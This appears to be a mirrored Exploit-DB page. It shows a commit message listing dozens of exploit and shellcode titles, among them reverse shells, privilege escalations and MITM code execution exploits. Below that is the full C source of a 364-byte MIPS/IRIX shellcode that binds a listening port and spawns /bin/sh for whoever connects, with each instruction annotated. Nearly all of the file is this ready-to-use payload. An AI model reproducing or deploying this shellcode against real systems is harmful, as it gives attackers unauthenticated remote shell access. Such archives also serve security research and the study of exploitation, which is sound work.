mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-10 05:51:30 -10:00
Offensive Security
81d6f781ab
31 changes to exploits/shellcodes MiniUPnP MiniUPnPc < 2.0 - Remote Denial of Service Android - Hardware Service Manager Arbitrary Service Replacement due to getpidcon Microsoft Windows - NTFS Owner/Mandatory Label Privilege Bypass Microsoft Windows - NtImpersonateAnonymousToken AC to Non-AC Privilege Escalation Microsoft Windows - NtImpersonateAnonymousToken LPAC to Non-LPAC Privilege Escalation Microsoft Windows SMB Server (v1/v2) - Mount Point Arbitrary Device Open Privilege Escalation macOS - 'process_policy' Stack Leak Through Uninitialized Field Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read Jungo Windriver 12.5.1 - Privilege Escalation Jungo Windriver 12.5.1 - Local Privilege Escalation Parity Browser < 1.6.10 - Bypass Same Origin Policy Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' MITM Remote Code Execution VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' Man In The Middle Remote Code Execution Granding MA300 - Traffic Sniffing MitM Fingerprint PIN Disclosure Granding MA300 - Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure LabF nfsAxe 3.7 FTP Client - Stack Buffer Overflow (Metasploit) phpCollab 2.5.1 - Unauthenticated File Upload (Metasploit) eVestigator Forensic PenTester - MITM Remote Code Execution eVestigator Forensic PenTester - Man In The Middle Remote Code Execution BestSafe Browser - MITM Remote Code Execution BestSafe Browser - Man In The Middle Remote Code Execution SKILLS.com.au Industry App - MITM Remote Code Execution Virtual Postage (VPA) - MITM Remote Code Execution SKILLS.com.au Industry App - Man In The Middle Remote Code Execution Virtual Postage (VPA) - Man In The Middle Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - MITM Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - Man In The Middle Remote Code Execution SAP NetWeaver J2EE Engine 7.40 - SQL Injection D-Link Routers 110/412/615/815 < 1.03 - 'service.cgi' Arbitrary Code Execution FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - Reverse TCP Shell (192.168.2.33:6969/TCP) Shellcode (129 bytes) FreeBSD/x86 - Bind TCP Password Shell (4883/TCP) Shellcode (222 bytes) FreeBSD/x86 - Bind TCP Password /bin/sh Shell (4883/TCP) Shellcode (222 bytes) Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY / Privilege Level To 15 / No Password Shellcode HPUX - execve /bin/sh Shellcode (58 bytes) Cisco IOS - New TTY + Privilege Level To 15 + Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY + Privilege Level To 15 + No Password Shellcode HP-UX - execve /bin/sh Shellcode (58 bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 Bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 bytes) ARM - Bind TCP Shell (0x1337/TCP) Shellcode ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode Linux/ARM - Bind TCP Shell (0x1337/TCP) Shellcode Linux/ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode Linux/ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode Linux/ARM - ifconfig eth0 192.168.0.2 up Shellcode FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (31337/TCP) + Fork Shellcode (111 bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 Bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 Bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 Bytes) Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes) FreeBSD/x86-64 - execve /bin/sh Shellcode (28 bytes) FreeBSD/x86-64 - Bind TCP Password (R2CBw0cr) /bin/sh Shell Shellcode (127 bytes) FreeBSD/x86 - execv(/bin/sh) Shellcode (23 bytes) FreeBSD/x86 - //sbin/pfctl -F all Shellcode (47 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (41254/TCP) Shellcode (115 bytes) FreeBSD - reboot() Shellcode (15 Bytes) IRIX - execve(/bin/sh -c) Shellcode (72 bytes) IRIX - execve(/bin/sh) Shellcode (43 bytes) IRIX - Bind TCP /bin/sh Shell Shellcode (364 bytes) IRIX - execve(/bin/sh) Shellcode (68 bytes) IRIX - stdin-read Shellcode (40 bytes) Linux/ARM - execve(_/bin/sh__ NULL_ 0) Shellcode (34 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 bytes) Linux/x86 - Read /etc/passwd Shellcode (54 Bytes) Linux/x86 - Read /etc/passwd Shellcode (54 bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 Bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 bytes)
104 lines
6.8 KiB
C
104 lines
6.8 KiB
C
/* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso
|
|
*/
|
|
unsigned long int shellcode[] = {
|
|
0x2416fffd, /* li $s6, -3 */
|
|
0x02c07027, /* nor $t6, $s6, $zero */
|
|
0x01ce2025, /* or $a0, $t6, $t6 */
|
|
0x01ce2825, /* or $a1, $t6, $t6 */
|
|
0x240efff9, /* li $t6, -7 */
|
|
0x01c03027, /* nor $a2, $t6, $zero */
|
|
0x24020453, /* li $v0, 1107 (socket) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
|
|
0x3050ffff, /* andi $s0, $v0, 0xffff */
|
|
0x280d0101, /* slti $t5, $zero, 0x0101 */
|
|
0x240effee, /* li $t6, -18 */
|
|
0x01c07027, /* nor $t6, $t6, $zero */
|
|
0x01cd6804, /* sllv $t5, $t5, $t6 */
|
|
0x240e7350, /* li $t6, 0x7350 (port) */
|
|
0x01ae6825, /* or $t5, $t5, $t6 */
|
|
0xafadfff0, /* sw $t5, -16($sp) */
|
|
0xafa0fff4, /* sw $zero, -12($sp) */
|
|
0xafa0fff8, /* sw $zero, -8($sp) */
|
|
0xafa0fffc, /* sw $zero, -4($sp) */
|
|
0x02102025, /* or $a0, $s0, $s0 */
|
|
0x240effef, /* li $t6, -17 */
|
|
0x01c03027, /* nor $a2, $t6, $zero */
|
|
0x03a62823, /* subu $a1, $sp, $a2 */
|
|
0x24020442, /* li $v0, 1090 (bind) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
|
|
0x02102025, /* or $a0, $s0, $s0 */
|
|
0x24050101, /* li $a1, 0x0101 */
|
|
0x24020448, /* li $v0, 1096 (listen) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
|
|
0x02102025, /* or $a0, $s0, $s0 */
|
|
0x27a5fff0, /* addiu $a1, $sp, -16 */
|
|
0x240dffef, /* li $t5, -17 */
|
|
0x01a06827, /* nor $t5, $t5, $zero */
|
|
0xafadffec, /* sw $t5, -20($sp) */
|
|
0x27a6ffec, /* addiu $a2, $sp, -20 */
|
|
0x24020441, /* li $v0, 1089 (accept) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
0x3057ffff, /* andi $s7, $v0, 0xffff */
|
|
|
|
0x2804ffff, /* slti $a0, $zero, -1 */
|
|
0x240203ee, /* li $v0, 1006 (close) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
|
|
0x02f72025, /* or $a0, $s7, $s7 */
|
|
0x2805ffff, /* slti $a1, $zero, -1 */
|
|
0x2806ffff, /* slti $a2, $zero, -1 */
|
|
0x24020426, /* li $v0, 1062 (fcntl) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
|
|
0x28040101, /* slti $a0, $zero, 0x0101 */
|
|
0x240203ee, /* li $v0, 1006 (close) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
|
|
0x02f72025, /* or $a0, $s7, $s7 */
|
|
0x2805ffff, /* slti $a1, $zero, -1 */
|
|
0x28060101, /* slti $a2, $zero, 0x0101 */
|
|
0x24020426, /* li $v0, 1062 (fcntl) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 */
|
|
|
|
0x02c02027, /* nor $a0, $s6, $zero */
|
|
0x240203ee, /* li $v0, 1006 (close) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
|
|
0x02f72025, /* or $a0, $s7, $s7 */
|
|
0x2805ffff, /* slti $a1, $zero, -1 */
|
|
0x02c03027, /* nor $a2, $s6, $zero */
|
|
0x24020426, /* li $v0, 1062 (fcntl) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
|
|
0xafa0fffc, /* sw $zero, -4($sp) */
|
|
0x24068cb0, /* li $a2, -29520 */
|
|
0x04d0ffff, /* bltzal $a2, pc-4 */
|
|
0x8fa6fffc, /* lw $a2, -4($sp) */
|
|
0x240fffc7, /* li $t7, -57 */
|
|
0x01e07827, /* nor $t7, $t7, $zero */
|
|
0x03eff821, /* addu $ra, $ra, $t7 */
|
|
0x23e4fff8, /* addi $a0, $ra, -8 */
|
|
0x8fedfffc, /* lw $t5, -4($ra) */
|
|
0x25adffbe, /* addiu $t5, $t5, -66 */
|
|
0xafedfffc, /* sw $t5, -4($ra) */
|
|
0xafa4fff8, /* sw $a0, -8($sp) */
|
|
0x27a5fff8, /* addiu $a1, $sp, -8 */
|
|
0x24020423, /* li $v0, 1059 (execve) */
|
|
0x0101010c, /* syscall */
|
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
|
0x2f62696e, /* .ascii "/bin" */
|
|
0x2f736842, /* .ascii "/sh", .byte 0xdummy */
|
|
}; |